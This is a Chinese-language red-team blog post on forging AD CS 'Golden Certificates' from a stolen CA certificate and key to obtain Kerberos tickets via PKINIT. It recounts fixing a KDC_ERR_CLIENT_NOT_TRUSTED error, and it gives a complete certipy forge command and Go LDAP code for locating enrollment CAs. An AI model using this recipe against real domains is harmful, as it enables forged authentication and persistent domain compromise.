什么是黄金证书
Golden Certificates 是用 CA 的证书和私钥手动伪造的证书。
在有ADCS的域内,是蓝宝石、钻石票据的替代方案,可以通过PKINIT伪造可用于 Kerberos 身份验证的证书,而不是伪造TGT。
前置知识:
ADCS可为域用户和机器账户申请证书。
PKINIT为Kerberos的扩展协议,可通过X.509证书用来获取Kerberos票据。总而言之可以将申请的证书转化为对应的TGT。(域用户转为域用户的TGT,机器账户转为机器账户的TGT)
PKCA扩展协议认证的时候,返回的PAC中包含了NTLM票据。(可以从用户证书中提取ntlm hash)
证书吊销列表(CRL)是在实际或指定的到期日期之前已被颁发证书颁发机构(CA)吊销的数字证书的列表;它是一种阻止列表,其中包含不应再受信任的证书,并由各种端点(包括Web浏览器)使用来验证证书是否有效且值得信赖,并且CRL文件由CA签名以防止篡改。
优点
伪造证书于伪造其他证书的优点:
1.相比其他证书的伪造,Golden Certificates是相对正常的申请行为。
2.只要伪造了A用户的证书,那么只要A用户没有被disabled、baned、Deleted,就算更改密码,依然可以通过kerberos进行身份认证;而其他票据需要重新申请。
一次案例
有一次项目中,通过Golden Certificates进行认证出现KDC_ERR_CLIENT_NOT_TRUSTED:
因为客户端信任失败或未实施:当用户的智能卡证书被吊销或颁发智能卡证书(在链中)的根证书颁发机构不受域控制器信任时,通常会发生这种情况。
网上已有的文章提出手动指定CRL和使用以前颁发的证书作为template,包括其他各种各样的方案,但发现还是都无法解决问题:
如果 KDC 返回KDC_ERR_CLIENT_NOT_TRUSTED
,则表示锻造不正确。发生这种情况通常是因为证书中缺少证书吊销列表 (CRL)。您可以使用-crl
手动指定 CRL,也可以通过-template
参数使用以前颁发的证书作为模板。请注意,模板将包含新证书中所有未定义的扩展和属性,例如主题和序列号。
通过指定ADCS的Enrollment CA和FQDN的完整路径为CRL,但这个域经过微软官方加固,所有对象的绝对DN路径都经过修改,通过自己写的工具找到了对应的路径;后续还是有问题,需要提供所伪造用户的subject和sid,搞定,完整命令:
certipy forge -ca-pfx xxx.pfx -upn username@redteam.lab -subject 'CN=targetuser,OU=xxx,OU=xxx,DC=redteam,DC=lab' -crl 'CN=Enrollment-CA-Name,CN=ADCS-Computer-Name,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=redteam,DC=lab' -sid S-1-5-21-2431596327-3145425540-3131828628-xxxx
附上查找ADCS对应的Enrollment CA和FQDN方法:
func GETADCS(conn *ldap.Conn, baseDN string, domainname string) {
base := "dc=" + strings.Replace(domainname, ".", ",dc=", -1)
attributes := []string{
"Root CA",
"Enterprise CA",
"cn",
"distinguishedName",
"dNSHostName",
"whenCreated",
"whenChanged",
"ADCSip"}
filter := "(objectclass=certificationAuthority)"
filter1 := "(objectClass=pKIEnrollmentService)"
csv := [][]string{}
csv = append(csv, attributes)
sr := ldapSearch(baseDN, filter, attributes, conn)
sr1 := ldapSearch(baseDN, filter1, attributes, conn)
if len(sr.Entries) > 0 {
fmt.Printf("[i] ADCS has found!\n")
for _, entry := range sr.Entries {
if (strings.Index(entry.GetAttributeValue("distinguishedName"), "Certification Authorities")) != -1 {
data := []string{
"√",
"",
entry.GetAttributeValue("cn"),
entry.GetAttributeValue("distinguishedName"),
"",
entry.GetAttributeValue("whenCreated"),
entry.GetAttributeValue("whenChanged")}
csv = append(csv, data)
fmt.Printf(" [+] Root CA:" + " ==>>> " + entry.GetAttributeValue("cn") + "\n")
}
}
var adcsname string
for _, entry := range sr1.Entries {
adcsname = strings.Replace(entry.GetAttributeValue("dNSHostName"), "."+domainname, "", -1)
var adcsips = GetipByname(conn, "DC="+domainname+",CN=MicrosoftDNS,DC=DomainDnsZones,"+base, adcsname)
var resultip string
for _, i := range adcsips {
resultip += i + " "
}
fmt.Printf(" [+] Enterprise/Enrollment CA:" + " ==>>> " + entry.GetAttributeValue("cn") + "(computer FQDN: " + entry.GetAttributeValue("dNSHostName") + ")" + " ==>>> " + resultip + "\n")
data := []string{
"",
"√",
entry.GetAttributeValue("cn"),
entry.GetAttributeValue("distinguishedName"),
entry.GetAttributeValue("dNSHostName"),
entry.GetAttributeValue("whenCreated"),
entry.GetAttributeValue("whenChanged"),
resultip}
csv = append(csv, data)
}
writeCSV("ADCS", csv)
} else {
fmt.Printf("[i] ADCS has not found!\n")
}
}
Ref
https://www.techtarget.com/searchsecurity/definition/Certificate-Revocation-List
https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d
History
- Created 2024-11-10 14:40
- Published 2024-10-08 23:12
- Updated 2024-11-10 16:36